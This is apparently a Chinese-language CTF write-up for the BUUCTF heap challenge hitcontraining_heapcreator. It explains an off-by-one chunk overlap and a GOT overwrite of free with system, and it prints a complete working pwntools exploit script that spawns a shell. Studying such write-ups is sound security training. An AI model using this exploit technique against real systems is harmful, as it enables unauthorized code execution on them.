[BUUCTF]-PWN:hitcontraining_heapcreator解析

又是一道堆题,先看一下保护

[BUUCTF]-PWN:hitcontraining_heapcreator解析_第1张图片

Partial RELRO说明got表可被修改,而且还没开pie,直接看ida

[BUUCTF]-PWN:hitcontraining_heapcreator解析_第2张图片

这里就不过多解释了,把比较重要的说一下。

[BUUCTF]-PWN:hitcontraining_heapcreator解析_第3张图片

首先是这个edit,它限制了填充字节,只能比我们申请的大小多1个字节。

[BUUCTF]-PWN:hitcontraining_heapcreator解析_第4张图片

还有创建堆块的函数,他在创建我们申请的堆块前还申请了一个大小为0x10的堆块。在动态调试中可以发现,这个堆块还存储了与填充字节数有关的字节数,而且还和heaparray一样存储了指向与他一同创建的堆块的指针。

[BUUCTF]-PWN:hitcontraining_heapcreator解析_第5张图片

总之,大概就是alloc创建堆块,free释放堆块,edit填充堆块,show打印堆块内容

解题思路:

由于没开Full RELEO和pie,以及存在存储堆块指针的heaparray,按照正常的思路我们应该是修改某一堆块指针为free的got地址,这样我们修改该堆块内容就是修改free的got表内的内容,把他改为system,再释放一个含有/bin/sh内容的堆块就可以getshell了,但是这里限制了填充大小,那我们就只能利用off by one漏洞扩展堆块来修改某一堆块指针来进行修改free的got表内容getshell了。

完整exp:

from pwn import*
from LibcSearcher import*
context(log_level='debug')
p=process('./heapcreator')
free_got=0x602018

def alloc(size,context):
    p.sendlineafter(b'Your choice :',str(1))
    p.sendlineafter(b'Size of Heap :',str(size))
    p.sendafter(b'Content of heap:',context)
def fill(index,context):
    p.sendlineafter(b'Your choice :',str(2))
    p.sendafter(b'Index :',str(index))
    p.sendafter(b'Content of heap :',context)
def show(index):
    p.sendlineafter(b'Your choice :',str(3))
    p.sendlineafter(b'Index :',str(index))
def free(index):
    p.sendlineafter(b'Your choice :',str(4))
    p.sendlineafter(b'Index :',str(index))

alloc(0x18,p64(0))
alloc(0x10,p64(0))
alloc(0x10,p64(0))
alloc(0x10,b'/bin/sh\x00')
payload=p64(0)*3+b'\x81'
fill(0,payload)
free(1)
alloc(0x70,p64(0))
payload=p64(0)*8+p64(0x8)+p64(free_got)
fill(1,payload)
show(2)
free_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=LibcSearcher('free',free_addr)
libcbase=free_addr-libc.dump('free')
system=libcbase+libc.dump('system')
payload=p64(system)
fill(2,payload)
free(3)
p.interactive()

重点1:第一个alloc(0x18,p64(0))是有讲究的,因为我们alloc(0x10)和alloc(0x18)最后得到的都是加上堆头大小为0x20的堆块,但是这两种alloc不一样,因为alloc(0x18)可以填充0x18+1个字节可以覆盖到下一个堆块的堆头的size,而我们alloc(0x10)只能填充0x10+1没办法覆盖下一个堆块的堆头size,也就没法扩展堆块了。

重点2:填充free的got那里为啥能为啥能直接填充那么大的内容?因为当我们把堆块的堆头size修改为0x81再free,之后再alloc回来这样该堆块的实际可填充字节数就变为了0x70+1了。

重点3:为什么可以在扩展的堆块内修改其他堆块的指针?首先要声明一点,在内存中我们扩展的堆块虽然有0x80的大小,但是不是说你这个堆块的空间完了才到下一个堆块,而是这个大堆块包含小堆块的状态,这样我们就可以修改堆块指针了。

你可能感兴趣的:(机器学习,前端,数据库,网络安全)